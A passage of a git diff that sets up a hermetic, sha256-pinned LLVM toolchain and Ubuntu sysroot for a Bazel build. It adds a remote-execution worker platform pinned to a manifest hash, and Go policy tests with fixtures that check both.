"https://bcr.bazel.build/modules/package_metadata/0.0.5/MODULE.bazel": "ef4f9439e3270fdd6b9fd4dbc3d2f29d13888e44c529a1b243f7a31dfbc2e8e4", "https://bcr.bazel.build/modules/package_metadata/0.0.5/source.json": "2326db2f6592578177751c3e1f74786b79382cd6008834c9d01ec865b9126a85", @@ -144,6 +158,7 @@ "https://bcr.bazel.build/modules/rules_go/0.63.0/source.json": "5bf37b45c440ac03abad0cbfa8b8b8dd89cc4e82bc8305f468b8436fa58bae78", "https://bcr.bazel.build/modules/rules_java/4.0.0/MODULE.bazel": "5a78a7ae82cd1a33cef56dc578c7d2a46ed0dca12643ee45edbb8417899e6f74", "https://bcr.bazel.build/modules/rules_java/5.3.5/MODULE.bazel": "a4ec4f2db570171e3e5eb753276ee4b389bae16b96207e9d3230895c99644b86", + "https://bcr.bazel.build/modules/rules_java/6.3.0/MODULE.bazel": "a97c7678c19f236a956ad260d59c86e10a463badb7eb2eda787490f4c969b963", "https://bcr.bazel.build/modules/rules_java/6.5.2/MODULE.bazel": "1d440d262d0e08453fa0c4d8f699ba81609ed0e9a9a0f02cd10b3e7942e61e31", "https://bcr.bazel.build/modules/rules_java/7.10.0/MODULE.bazel": "530c3beb3067e870561739f1144329a21c851ff771cd752a49e06e3dc9c2e71a", "https://bcr.bazel.build/modules/rules_java/7.12.2/MODULE.bazel": "579c505165ee757a4280ef83cda0150eea193eed3bef50b1004ba88b99da6de6", @@ -190,6 +205,7 @@ "https://bcr.bazel.build/modules/rules_python/1.7.0/source.json": "028a084b65dcf8f4dc4f82f8778dbe65df133f234b316828a82e060d81bdce32", "https://bcr.bazel.build/modules/rules_shell/0.2.0/MODULE.bazel": "fda8a652ab3c7d8fee214de05e7a9916d8b28082234e8d2c0094505c5268ed3c", "https://bcr.bazel.build/modules/rules_shell/0.3.0/MODULE.bazel": "de4402cd12f4cc8fda2354fce179fdb068c0b9ca1ec2d2b17b3e21b24c1a937b", + "https://bcr.bazel.build/modules/rules_shell/0.4.1/MODULE.bazel": "00e501db01bbf4e3e1dd1595959092c2fadf2087b2852d3f553b5370f5633592", "https://bcr.bazel.build/modules/rules_shell/0.6.1/MODULE.bazel": "72e76b0eea4e81611ef5452aa82b3da34caca0c8b7b5c0c9584338aa93bae26b", "https://bcr.bazel.build/modules/rules_shell/0.6.1/source.json": "20ec05cd5e592055e214b2da8ccb283c7f2a421ea0dc2acbf1aa792e11c03d0c", "https://bcr.bazel.build/modules/rules_swift/1.16.0/MODULE.bazel": "4a09f199545a60d09895e8281362b1ff3bb08bbde69c6fc87aff5b92fcc916ca", @@ -199,13 +215,21 @@ "https://bcr.bazel.build/modules/rules_swift/3.1.2/source.json": "e85761f3098a6faf40b8187695e3de6d97944e98abd0d8ce579cb2daf6319a66", "https://bcr.bazel.build/modules/stardoc/0.5.1/MODULE.bazel": "1a05d92974d0c122f5ccf09291442580317cdd859f07a8655f1db9a60374f9f8", "https://bcr.bazel.build/modules/stardoc/0.5.3/MODULE.bazel": "c7f6948dae6999bf0db32c1858ae345f112cacf98f174c7a8bb707e41b974f1c", + "https://bcr.bazel.build/modules/stardoc/0.6.2/MODULE.bazel": "7060193196395f5dd668eda046ccbeacebfd98efc77fed418dbe2b82ffaa39fd", "https://bcr.bazel.build/modules/stardoc/0.7.0/MODULE.bazel": "05e3d6d30c099b6770e97da986c53bd31844d7f13d41412480ea265ac9e8079c", "https://bcr.bazel.build/modules/stardoc/0.7.2/MODULE.bazel": "fc152419aa2ea0f51c29583fab1e8c99ddefd5b3778421845606ee628629e0e5", "https://bcr.bazel.build/modules/stardoc/0.7.2/source.json": "58b029e5e901d6802967754adf0a9056747e8176f017cfe3607c0851f4d42216", "https://bcr.bazel.build/modules/swift_argument_parser/1.3.1.1/MODULE.bazel": "5e463fbfba7b1701d957555ed45097d7f984211330106ccd1352c6e0af0dcf91", "https://bcr.bazel.build/modules/swift_argument_parser/1.3.1.2/MODULE.bazel": "75aab2373a4bbe2a1260b9bf2a1ebbdbf872d3bd36f80bff058dccd82e89422f", "https://bcr.bazel.build/modules/swift_argument_parser/1.3.1.2/source.json": "5fba48bbe0ba48761f9e9f75f92876cafb5d07c0ce059cc7a8027416de94a05b", + "https://bcr.bazel.build/modules/tar.bzl/0.2.1/MODULE.bazel": "52d1c00a80a8cc67acbd01649e83d8dd6a9dc426a6c0b754a04fe8c219c76468", + "https://bcr.bazel.build/modules/tar.bzl/0.6.0/MODULE.bazel": "a3584b4edcfafcabd9b0ef9819808f05b372957bbdff41601429d5fd0aac2e7c", + "https://bcr.bazel.build/modules/tar.bzl/0.6.0/source.json": "4a620381df075a16cb3a7ed57bd1d05f7480222394c64a20fa51bdb636fda658", + "https://bcr.bazel.build/modules/toolchains_llvm/1.11.0/MODULE.bazel": "c0b9c103deeaf0fc103934ff0a189273b4f9b82cc1622c59b67e1c3a83d6b5e6", + "https://bcr.bazel.build/modules/toolchains_llvm/1.11.0/source.json": "d06e53520101c3890a094e5849b0ff16dde3a6f6531f25c997f340ebff34d569", "https://bcr.bazel.build/modules/upb/0.0.0-20220923-a547704/MODULE.bazel": "7298990c00040a0e2f121f6c32544bab27d4452f80d9ce51349b1a28f3005c43", + "https://bcr.bazel.build/modules/yq.bzl/0.1.1/MODULE.bazel": "9039681f9bcb8958ee2c87ffc74bdafba9f4369096a2b5634b88abc0eaefa072", + "https://bcr.bazel.build/modules/yq.bzl/0.1.1/source.json": "2d2bad780a9f2b9195a4a370314d2c17ae95eaa745cefc2e12fbc49759b15aa3", "https://bcr.bazel.build/modules/zlib/1.2.11/MODULE.bazel": "07b389abc85fdbca459b69e2ec656ae5622873af3f845e1c9d80fe179f3effa0", "https://bcr.bazel.build/modules/zlib/1.2.12/MODULE.bazel": "3b1a8834ada2a883674be8cbd36ede1b6ec481477ada359cd2d3ddc562340b27", "https://bcr.bazel.build/modules/zlib/1.3.1.bcr.5/MODULE.bazel": "eec517b5bbe5492629466e11dae908d043364302283de25581e3eb944326c4ca", @@ -490,6 +514,26 @@ } } } + }, + "@@toolchains_llvm+//toolchain/extensions:distributions.bzl%llvm_distributions": { + "general": { + "bzlTransitiveDigest": "RfYsFLwRh0rVY8ReiYgbOEyr84zuBs7mbcHq3dPY3jI=", + "usagesDigest": "vl2VXD2E16aV3RG06i5tx7yyYASHiQFjvsiNZSDzQIg=", + "recordedInputs": [], + "generatedRepoSpecs": { + "llvm_distributions_data": { + "repoRuleId": "@@toolchains_llvm+//toolchain/internal:distributions_repo.bzl%llvm_distributions_repo", + "attributes": { + "srcs": [ + "@@toolchains_llvm+//toolchain/distributions:pre_github.jsonc", + "@@toolchains_llvm+//toolchain/distributions:github_legacy.jsonc", + "@@toolchains_llvm+//toolchain/distributions:github.jsonc", + "@@toolchains_llvm+//toolchain/distributions:extra.jsonc" + ] + } + } + } + } } }, "facts": { diff --git a/platforms/BUILD.bazel b/platforms/BUILD.bazel new file mode 100644 index 000000000..eab8c95d0 --- /dev/null +++ b/platforms/BUILD.bazel @@ -0,0 +1,49 @@ +# rbe_worker: the execution platform of every build (.bazelrc selects it +# unconditionally with --extra_execution_platforms, so every action and test +# executes on it and local, fork-cache and remote runs hash alike). +# +# Test actions exec host tools (bash, git, coreutils, ...) and load the +# shared libraries of every cgo binary they link (glibc, libstdc++), so the +# worker host is an input to every cached result. Its exec_properties enter +# each action's key: worker-env is the sha256 of tools/rbe/worker-env.txt, +# the manifest of the pinned worker host. +# +# rbe-west's OSS pool is shared with gastownhall/gascity, which owns the +# worker image: its tools/rbe/blacksmith-worker.sh advertises the sha256 of +# the manifest it measures on its own host (gascity tools/rbe/worker-env), +# and the schedulers match worker-env exactly, so these actions run only on +# the pinned host. tools/rbe/worker-env.txt is a byte-for-byte copy of +# gascity's: when gascity moves its pin (a new runner image, a package or Go +# upgrade), copy its manifest here and update this sha256 in the same +# commit, which is a new key for every action. +# scripts/bazel_hermetic_cc_test.go keeps the pin and the manifest in step. +platform( + name = "rbe_worker", + exec_properties = { + "worker-env": "sha256:f4d6d0460877031a71cd0ddb4dc67e789c4e54fc18c0d888fa818c84f8cf61ed", + }, + parents = ["@bazel_tools//tools:host_platform"], + visibility = ["//visibility:public"], +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index 4f4b2e617..07f33cdc0 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -18,6 +18,7 @@ go_test( "bazel_cache_mode_test.go", "bazel_farm_workflow_test.go", "bazel_fork_mode_test.go", + "bazel_hermetic_cc_test.go", "bazel_policy_test.go", "bazel_rbe_prewarm_test.go", "bazel_skip_allowlist_test.go", @@ -43,6 +44,7 @@ go_test( "pr_preflight_test.go", "pr_risk_bazel_coverage_test.go", "pull_dolt_image_test.go", + "rbe_worker_env_test.go", "release_script_test.go", "required_suite_test.go", "test_script_test.go", diff --git a/scripts/bazel_hermetic_cc_test.go b/scripts/bazel_hermetic_cc_test.go new file mode 100644 index 000000000..bd0a74721 --- /dev/null +++ b/scripts/bazel_hermetic_cc_test.go @@ -0,0 +1,273 @@ +package scripts_test + +import ( + "errors" + "regexp" + "strings" + "testing" +) + +// rules_go builds the Go stdlib (under -race) and every cgo package with the +// registered C toolchain, and every Go compile depends on the stdlib, so the +// C toolchain is an input of nearly every action key. A host-detected toolchain +// (local_config_cc) puts the host's gcc path, its lld availability and +// gcc-version-specific generated files into those keys, so developer, fork +// and CI runs never share results, and a client with lld (which the workers +// lack) fails every remote cgo/-race link. MODULE.bazel therefore registers LLVM and +// a sysroot fetched by sha256 (byte-identical on every Linux x86_64 host), +// and .bazelrc turns host detection off so nothing falls back to the host +// compiler silently. + +const ( + hermeticCCModuleFile = "MODULE.bazel" + hermeticCCDetectOff = "--repo_env=BAZEL_DO_NOT_DETECT_CPP_TOOLCHAIN=1" + hermeticCCToolchains = `register_toolchains("@llvm_toolchain//:all")` + hermeticCCSysrootLabel = "@cc_sysroot_noble_amd64//:sysroot" + hermeticCCLLVMLabel = "@llvm_dist_linux_x86_64//:BUILD.bazel" + // Every other host's stock LLVM release (toolchains_llvm's sha256 table). + hermeticCCHostLLVMLabel = "@llvm_dist_host//:BUILD.bazel" +) + +var ( + sha256HexRE = regexp.MustCompile(`^[0-9a-f]{64}$`) + // snapshot.ubuntu.com serves each timestamp's archive state forever; a + // moving mirror (archive.ubuntu.com) may only follow it as a fallback. + ubuntuSnapshotRE = regexp.MustCompile(`^https://snapshot\.ubuntu\.com/ubuntu/\d{8}T\d{6}Z/$`) +) + +// moduleCall returns the argument text of the single top-level call +// `(\n...\n)` in MODULE.bazel whose arguments contain marker. +func moduleCall(module, fn, marker string) (string, error) { + var found []string + for _, m := range regexp.MustCompile(`(?ms)^`+regexp.QuoteMeta(fn)+`\(\n(.*?)^\)`).FindAllStringSubmatch(module, -1) { + if strings.Contains(m[1], marker) { + found = append(found, m[1]) + } + } + if len(found) != 1 { + return "", errors.New(hermeticCCModuleFile + ": want exactly one " + fn + "(...) naming " + marker) + } + return found[0], nil +} + +// quotedPairs returns the "key": "value" entries of a Starlark dict body. +func quotedPairs(s string) map[string]string { + out := map[string]string{} + for _, m := range regexp.MustCompile(`"([^"]+)":\s*"([^"]*)"`).FindAllStringSubmatch(s, -1) { + out[m[1]] = m[2] + } + return out +} + +func checkHermeticCCModule(module string) []error { + var errs []error + for _, want := range []string{ + `bazel_dep(name = "toolchains_llvm", `, + hermeticCCToolchains, + } { + if !strings.Contains(module, want) { + errs = append(errs, errors.New(hermeticCCModuleFile+" must contain "+want)) + } + } + for _, m := range regexp.MustCompile(`(?s)register_toolchains\((.*?)\)`).FindAllStringSubmatch(module, -1) { + if strings.Contains(m[1], "local_config_cc") || strings.Contains(m[1], "@bazel_tools//tools/cpp") { + errs = append(errs, errors.New(hermeticCCModuleFile+" registers a host-detected C/C++ toolchain: "+m[0])) + } + } + + if sysroot, err := moduleCall(module, "llvm.sysroot", hermeticCCSysrootLabel); err != nil { + errs = append(errs, err) + } else if !strings.Contains(sysroot, `targets = ["linux-x86_64"]`) { + errs = append(errs, errors.New("llvm.sysroot must apply to linux-x86_64")) + } + if _, err := moduleCall(module, "llvm.toolchain_root", hermeticCCLLVMLabel); err != nil { + errs = append(errs, err) + } + // toolchains_llvm creates no stock distribution once any toolchain_root + // is set, and fails every build on a host no root covers ("LLVM toolchain + // root missing"), so the other hosts (macOS, Linux arm64) need a root + // without targets. + if root, err := moduleCall(module, "llvm.toolchain_root", hermeticCCHostLLVMLabel); err != nil { + errs = append(errs, err) + } else if strings.Contains(root, "targets") { + errs = append(errs, errors.New("llvm.toolchain_root naming "+hermeticCCHostLLVMLabel+" must be the fallback (no targets)")) + } + if dist, err := moduleCall(module, "llvm_host_dist", `name = "llvm_dist_host"`); err != nil { + errs = append(errs, err) + } else if !strings.Contains(dist, "llvm_version = LLVM_VERSION,") || !strings.Contains(dist, `llvm_versions = {"": LLVM_VERSION},`) { + // The bare `llvm` rule reads llvm_versions (llvm_toolchain's macro + // fills it in from llvm_version; use_repo_rule does not). + errs = append(errs, errors.New("llvm_host_dist must set llvm_version and llvm_versions to LLVM_VERSION, whose per-host sha256 toolchains_llvm pins")) + } + + if dist, err := moduleCall(module, "llvm_dist", `name = "llvm_dist_linux_x86_64"`); err != nil { + errs = append(errs, err) + } else if m := regexp.MustCompile(`sha256 = "([^"]*)"`).FindStringSubmatch(dist); m == nil || !sha256HexRE.MatchString(m[1]) { + errs = append(errs, errors.New("llvm_dist must pin its archive by sha256")) + } + + if sysroot, err := moduleCall(module, "deb_sysroot", `name = "cc_sysroot_noble_amd64"`); err != nil { + errs = append(errs, err) + } else { + mirrors := regexp.MustCompile(`(?s)mirrors = \[\s*"([^"]+)"`).FindStringSubmatch(sysroot) + if mirrors == nil || !ubuntuSnapshotRE.MatchString(mirrors[1]) { + errs = append(errs, errors.New("deb_sysroot's first mirror must be an immutable snapshot.ubuntu.com/ubuntu// root")) + } + body := regexp.MustCompile(`(?s)packages = \{(.*?)\}`).FindStringSubmatch(sysroot) + if body == nil { + errs = append(errs, errors.New("deb_sysroot has no packages")) + } else { + pkgs := quotedPairs(body[1]) + if len(pkgs) == 0 { + errs = append(errs, errors.New("deb_sysroot has no packages")) + } + for path, sum := range pkgs { + if !strings.HasPrefix(path, "pool/") || !strings.HasSuffix(path, "_amd64.deb") || !sha256HexRE.MatchString(sum) { + errs = append(errs, errors.New("deb_sysroot package "+path+" must be an amd64 pool .deb pinned by sha256")) + } + // ICU policy (engdocs/ICU-POLICY.md): nothing links libicu, + // so the sysroot offers no ICU to link against. + if strings.Contains(path, "/icu/") { + errs = append(errs, errors.New("deb_sysroot package "+path+" ships ICU, which beads must never link (engdocs/ICU-POLICY.md)")) + } + } + } + } + return errs +} + +// checkHermeticCCBazelRC: host detection is off unconditionally (every +// command, every config) and nothing hands actions a host compiler. +func checkHermeticCCBazelRC(rc string) []error { + var errs []error + off := false + for _, line := range strings.Split(rc, "\n") { + fields := strings.Fields(line) + if len(fields) < 2 || strings.HasPrefix(fields[0], "#") { + continue + } + command, config, _ := strings.Cut(fields[0], ":") + for _, flag := range fields[1:] { + if strings.HasPrefix(flag, "#") { + break + } + name, value, _ := strings.Cut(flag, "=") + envName, _, _ := strings.Cut(value, "=") + switch { + case flag == hermeticCCDetectOff && command == "common" && config == "": + off = true + case envName == "BAZEL_DO_NOT_DETECT_CPP_TOOLCHAIN" && flag != hermeticCCDetectOff: + errs = append(errs, errors.New(".bazelrc: "+line+" re-enables host C/C++ toolchain detection")) + case (name == "--repo_env" || name == "--action_env" || name == "--host_action_env") && + (envName == "CC" || envName == "CXX" || envName == "BAZEL_USE_CPP_ONLY_TOOLCHAIN"): + errs = append(errs, errors.New(".bazelrc: "+line+" points C/C++ builds at a host compiler")) + case (name == "--extra_toolchains" || name == "--crosstool_top" || name == "--host_crosstool_top") && + (strings.Contains(value, "local_config_cc") || strings.Contains(value, "@bazel_tools//tools/cpp")): + errs = append(errs, errors.New(".bazelrc: "+line+" selects the host-detected C/C++ toolchain")) + } + } + } + if !off { + errs = append(errs, errors.New(".bazelrc must set `common "+hermeticCCDetectOff+"` unconditionally")) + } + return errs +} + +func TestBazelHermeticCCToolchain(t *testing.T) { + root := bazelPolicyRoot(t) + for _, err := range checkHermeticCCModule(readPolicyFile(t, root, hermeticCCModuleFile)) { + t.Error(err) + } + for _, err := range checkHermeticCCBazelRC(readPolicyFile(t, root, ".bazelrc")) { + t.Error(err) + } +} + +func TestBazelHermeticCCToolchainGuards(t *testing.T) { + sum := strings.Repeat("ab", 32) + module := `bazel_dep(name = "rules_go", version = "0.63.0") +bazel_dep(name = "toolchains_llvm", version = "1.11.0") + +deb_sysroot( + name = "cc_sysroot_noble_amd64", + mirrors = [ + "https://snapshot.ubuntu.com/ubuntu/20261001T000000Z/", + "https://archive.ubuntu.com/ubuntu/", + ], + packages = { + "pool/main/g/glibc/libc6-dev_2.39-0ubuntu8.9_amd64.deb": "` + sum + `", + }, +) + +llvm_dist( + name = "llvm_dist_linux_x86_64", + sha256 = "` + sum + `", +) + +llvm_host_dist( + name = "llvm_dist_host", + llvm_version = LLVM_VERSION, + llvm_versions = {"": LLVM_VERSION}, +) + +llvm.toolchain_root( + name = "llvm_toolchain", + label = "` + hermeticCCLLVMLabel + `", + targets = ["linux-x86_64"], +) +llvm.toolchain_root( + name = "llvm_toolchain", + label = "` + hermeticCCHostLLVMLabel + `", +) +llvm.sysroot( + name = "llvm_toolchain", + label = "` + hermeticCCSysrootLabel + `", + targets = ["linux-x86_64"], +) + +` + hermeticCCToolchains + "\n" + if errs := checkHermeticCCModule(module); len(errs) != 0 { + t.Fatalf("good MODULE.bazel fixture: %v", errs) + } + for name, bad := range map[string]string{ + "no toolchains_llvm": strings.Replace(module, `bazel_dep(name = "toolchains_llvm", version = "1.11.0")`, "", 1), + "no registration": strings.Replace(module, hermeticCCToolchains, "", 1), + "second registration": module + `register_toolchains("@local_config_cc//:all")` + "\n", + "no sysroot": strings.Replace(module, "llvm.sysroot(", "llvm.other(", 1), + "host LLVM": strings.Replace(module, "llvm.toolchain_root(", "llvm.other(", 1), + "no other-host root": strings.Replace(module, "label = \""+hermeticCCHostLLVMLabel+"\",", "", 1), + "other-host root scoped": strings.Replace(module, "label = \""+hermeticCCHostLLVMLabel+"\",", "label = \""+hermeticCCHostLLVMLabel+"\",\n targets = [\"darwin-aarch64\"],", 1), + "no other-host dist": strings.Replace(module, "llvm_host_dist(", "other(", 1), + "other-host dist version": strings.Replace(module, "llvm_version = LLVM_VERSION", `llvm_version = "17.0.6"`, 1), + "other-host dist versions": strings.Replace(module, `llvm_versions = {"": LLVM_VERSION},`, "", 1), + "unpinned LLVM": strings.Replace(module, ` sha256 = "`+sum+`",`+"\n)", "\n)", 1), + "moving mirror first": strings.Replace(module, `"https://snapshot.ubuntu.com/ubuntu/20261001T000000Z/",`, "", 1), + "unpinned package": strings.Replace(module, `_amd64.deb": "`+sum+`"`, `_amd64.deb": ""`, 1), + "ICU in sysroot": strings.Replace(module, " packages = {\n", " packages = {\n \"pool/main/i/icu/libicu74_74.2-1ubuntu3.1_amd64.deb\": \""+sum+"\",\n", 1), + "sysroot other targets": strings.Replace(module, "label = \""+hermeticCCSysrootLabel+"\",\n targets = [\"linux-x86_64\"]", "label = \""+hermeticCCSysrootLabel+"\",\n targets = []", 1), + } { + if len(checkHermeticCCModule(bad)) == 0 { + t.Errorf("%s: expected an error for MODULE.bazel fixture:\n%s", name, bad) + } + } + + rc := "common --enable_bzlmod\ncommon " + hermeticCCDetectOff + "\ntest --test_output=errors\n" + if errs := checkHermeticCCBazelRC(rc); len(errs) != 0 { + t.Fatalf("good .bazelrc fixture: %v", errs) + } + for name, bad := range map[string]string{ + "detection on": strings.Replace(rc, "common "+hermeticCCDetectOff+"\n", "", 1), + "only for build": strings.Replace(rc, "common "+hermeticCCDetectOff, "build "+hermeticCCDetectOff, 1), + "only in a config": strings.Replace(rc, "common "+hermeticCCDetectOff, "common:ci "+hermeticCCDetectOff, 1), + "commented out": strings.Replace(rc, "common "+hermeticCCDetectOff, "# common "+hermeticCCDetectOff, 1), + "re-enabled": rc + "build:remote-exec --repo_env=BAZEL_DO_NOT_DETECT_CPP_TOOLCHAIN=0\n", + "host CC": rc + "build --repo_env=CC=/usr/bin/gcc\n", + "host CC action env": rc + "build --action_env=CC\n", + "local_config_cc": rc + "build --extra_toolchains=@local_config_cc//:all\n", + "bazel_tools crosstool": rc + "build --crosstool_top=@bazel_tools//tools/cpp:toolchain\n", + } { + if len(checkHermeticCCBazelRC(bad)) == 0 { + t.Errorf("%s: expected an error for .bazelrc fixture:\n%s", name, bad) + } + } +} diff --git a/scripts/rbe_worker_env_test.go b/scripts/rbe_worker_env_test.go new file mode 100644 index 000000000..0a3408672 --- /dev/null +++ b/scripts/rbe_worker_env_test.go @@ -0,0 +1,119 @@ +package scripts_test + +import ( + "crypto/sha256" + "encoding/hex" + "errors" + "regexp" + "strings" + "testing" +) + +// Test actions exec host tools and load the shared libraries of every cgo +// binary they link, so the remote worker host is an input to every result +// rbe-west caches. //platforms:rbe_worker puts it into the action key: its +// worker-env exec property is the sha256 of tools/rbe/worker-env.txt, and +// rbe-west's schedulers run an action only on a worker that advertises that +// exact value. The OSS pool and its manifest are gastownhall/gascity's +// (tools/rbe/worker-env, blacksmith-worker.sh); beads commits a copy of the +// manifest so the pin is reviewable and moves only with it. + +const ( + rbeWorkerPlatformBuild = "platforms/BUILD.bazel" + rbeWorkerEnvManifest = "tools/rbe/worker-env.txt" + rbeWorkerPlatformFlag = "--extra_execution_platforms=//platforms:rbe_worker" +) + +var ( + rbeWorkerPlatformRE = regexp.MustCompile(`(?s)\nplatform\(\n name = "rbe_worker",\n(.*?)\n\)\n`) + rbeExecPropsRE = regexp.MustCompile(`(?s)exec_properties = \{\n(.*?)\n \},`) + rbeExecPropRE = regexp.MustCompile(`^\s*"([^"]+)": "([^"]*)",$`) + workerEnvPinRE = regexp.MustCompile(`^sha256:[0-9a-f]{64}$`) +) + +// checkRBEWorkerPlatform: the rbe_worker platform's only exec property is +// worker-env, pinned to the sha256 of manifest. Any other property would be +// one no OSS worker advertises, and no action would ever schedule. +func checkRBEWorkerPlatform(build, manifest string) []error { + m := rbeWorkerPlatformRE.FindStringSubmatch(build) + if m == nil { + return []error{errors.New(rbeWorkerPlatformBuild + ": no platform rbe_worker")} + } + props := rbeExecPropsRE.FindStringSubmatch(m[1]) + if props == nil { + return []error{errors.New(rbeWorkerPlatformBuild + ": platform rbe_worker has no exec_properties")} + } + got := map[string]string{} + for _, line := range strings.Split(props[1], "\n") { + e := rbeExecPropRE.FindStringSubmatch(line) + if e == nil { + return []error{errors.New(rbeWorkerPlatformBuild + ": unexpected exec_properties line " + line)} + } + got[e[1]] = e[2] + } + pin := got["worker-env"] + if len(got) != 1 || !workerEnvPinRE.MatchString(pin) { + return []error{errors.New(rbeWorkerPlatformBuild + ": rbe_worker exec_properties must be worker-env=sha256: alone")} + } + sum := sha256.Sum256([]byte(manifest)) + if want := "sha256:" + hex.EncodeToString(sum[:]); pin != want { + return []error{errors.New(rbeWorkerPlatformBuild + " pins worker-env=" + pin + ", but " + + rbeWorkerEnvManifest + " hashes to " + want + ": commit the manifest and its sha256 together")} + } + return nil +} + +// checkRBEWorkerSelected: every command executes on rbe_worker (the flag is +// key-affecting, so it may not depend on a config or command). +func checkRBEWorkerSelected(rc string) error { + for _, line := range strings.Split(rc, "\n") { + if strings.TrimSpace(line) == "build "+rbeWorkerPlatformFlag { + return nil + } + } + return errors.New(".bazelrc must set `build " + rbeWorkerPlatformFlag + "` unconditionally") +} + +func TestRBEWorkerPlatformPinsWorkerEnv(t *testing.T) { + root := bazelPolicyRoot(t) + for _, err := range checkRBEWorkerPlatform(readPolicyFile(t, root, rbeWorkerPlatformBuild), readPolicyFile(t, root, rbeWorkerEnvManifest)) { + t.Error(err) + } + if err := checkRBEWorkerSelected(readPolicyFile(t, root, ".bazelrc")); err != nil { + t.Error(err) + } +} + +func TestRBEWorkerPlatformGuards(t *testing.T) { + manifest := "arch x86_64\nos ubuntu 24.04\n" + sum := sha256.Sum256([]byte(manifest)) + pin := "sha256:" + hex.EncodeToString(sum[:]) + build := "# header\nplatform(\n name = \"rbe_worker\",\n exec_properties = {\n \"worker-env\": \"" + pin + "\",\n },\n parents = [\"@bazel_tools//tools:host_platform\"],\n)\n" + if errs := checkRBEWorkerPlatform(build, manifest); len(errs) != 0 { + t.Fatalf("good platform fixture: %v", errs) + } + for name, bad := range map[string][2]string{ + "manifest moved": {build, manifest + "pkg git 1\n"}, + "no platform": {strings.Replace(build, `name = "rbe_worker"`, `name = "other"`, 1), manifest}, + "extra property": {strings.Replace(build, " },", " \"pool\": \"x\",\n },", 1), manifest}, + "not a sha": {strings.Replace(build, pin, "latest", 1), manifest}, + } { + if len(checkRBEWorkerPlatform(bad[0], bad[1])) == 0 { + t.Errorf("%s: expected an error", name) + } + } + + rc := "common --enable_bzlmod\nbuild " + rbeWorkerPlatformFlag + "\n" + if err := checkRBEWorkerSelected(rc); err != nil { + t.Fatalf("good .bazelrc fixture: %v", err) + } + for name, bad := range map[string]string{ + "missing": "common --enable_bzlmod\n", + "only in a config": strings.Replace(rc, "build "+rbeWorkerPlatformFlag, "build:remote-exec "+rbeWorkerPlatformFlag, 1), + "commented out": strings.Replace(rc, "build "+rbeWorkerPlatformFlag, "# build "+rbeWorkerPlatformFlag, 1), + } { + if checkRBEWorkerSelected(bad) == nil { + t.Errorf("%s: expected an error", name) + } + } +} diff --git a/third_party/cc_toolchain/BUILD.bazel b/third_party/cc_toolchain/BUILD.bazel new file mode 100644 index 000000000..c6e24cb8a --- /dev/null +++ b/third_party/cc_toolchain/BUILD.bazel @@ -0,0 +1,25 @@ +# Repository rules behind the hermetic C/C++ toolchain registered in +# MODULE.bazel: llvm_dist.bzl (pinned LLVM) and deb_sysroot.bzl (pinned +# Ubuntu sysroot). Ported from gastownhall/gascity; keep them in sync. + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/third_party/cc_toolchain/deb_sysroot.bzl b/third_party/cc_toolchain/deb_sysroot.bzl new file mode 100644 index 000000000..ae96aa392 --- /dev/null +++ b/third_party/cc_toolchain/deb_sysroot.bzl @@ -0,0 +1,80 @@ +"""deb_sysroot: a C/C++ sysroot assembled from pinned Debian/Ubuntu packages. + +Every package is fetched by sha256, so the sysroot is byte-identical on every +host. It gives the hermetic LLVM toolchain (MODULE.bazel) the glibc, +libstdc++ and ICU headers and link libraries that cgo targets need, instead +of whatever the host has under /usr. +""" + +# Trims what no compile or link needs, then makes the sysroot self-contained: +# package symlinks may be absolute (outside a chroot they would resolve +# against the HOST), and glibc's linker scripts name the pre-usr-merge /lib +# and /lib64, which the sysroot only has under /usr. +_POSTPROCESS = """ +set -euo pipefail +shopt -s globstar nullglob +rm -rf -- $REMOVE +find . -type l -lname '/*' -print0 | while IFS= read -r -d '' l; do + ln -sfn "$(realpath -m --relative-to="$(dirname "$l")" "$PWD$(readlink "$l")")" "$l" +done +find . -xtype l -delete +grep -rlI --include='*.so' 'GROUP' usr/lib | while IFS= read -r s; do + sed -i -e 's@ /lib/@ /usr/lib/@g' -e 's@ /lib64/@ /usr/lib64/@g' "$s" +done +""" + +def _deb_sysroot_impl(rctx): + for path, sha256 in rctx.attr.packages.items(): + name = path.rsplit("/", 1)[-1] + deb = "_debs/" + name + rctx.download( + url = [mirror + path for mirror in rctx.attr.mirrors], + output = deb, + sha256 = sha256, + ) + unpacked = "_debs/" + name + ".d" + rctx.extract(deb, output = unpacked) + data = [f for f in rctx.path(unpacked).readdir() if f.basename.startswith("data.tar")] + if len(data) != 1: + fail("%s: expected one data.tar.* member, found %s" % (name, data)) + rctx.extract(data[0], output = ".") + rctx.delete("_debs") + + res = rctx.execute( + ["bash", "-c", _POSTPROCESS], + environment = {"REMOVE": " ".join(rctx.attr.remove)}, + ) + if res.return_code != 0: + fail("deb_sysroot: post-processing failed:\n" + res.stderr) + + rctx.file("BUILD.bazel", """\ +filegroup( + name = "sysroot", + srcs = glob( + ["**"], + exclude = [ + "BUILD.bazel", + "REPO.bazel", + ], + ), + visibility = ["//visibility:public"], +) +""") + return rctx.repo_metadata(reproducible = True) + +deb_sysroot = repository_rule( + implementation = _deb_sysroot_impl, + attrs = { + "packages": attr.string_dict( + mandatory = True, + doc = "Pool path (relative to each mirror) to the .deb's sha256.", + ), + "mirrors": attr.string_list( + mandatory = True, + doc = "Archive roots tried in order; the first is an immutable snapshot.", + ), + "remove": attr.string_list( + doc = "Bash globs (globstar) dropped after unpacking: docs, unused runtimes and archives.", + ), + }, +) diff --git a/third_party/cc_toolchain/llvm_dist.bzl b/third_party/cc_toolchain/llvm_dist.bzl new file mode 100644 index 000000000..994aeef39 --- /dev/null +++ b/third_party/cc_toolchain/llvm_dist.bzl @@ -0,0 +1,54 @@ +"""llvm_dist: the slice of an official LLVM release that C/C++ builds use. + +LLVM's Linux release archive unpacks to ~12GB (MLIR, Flang, 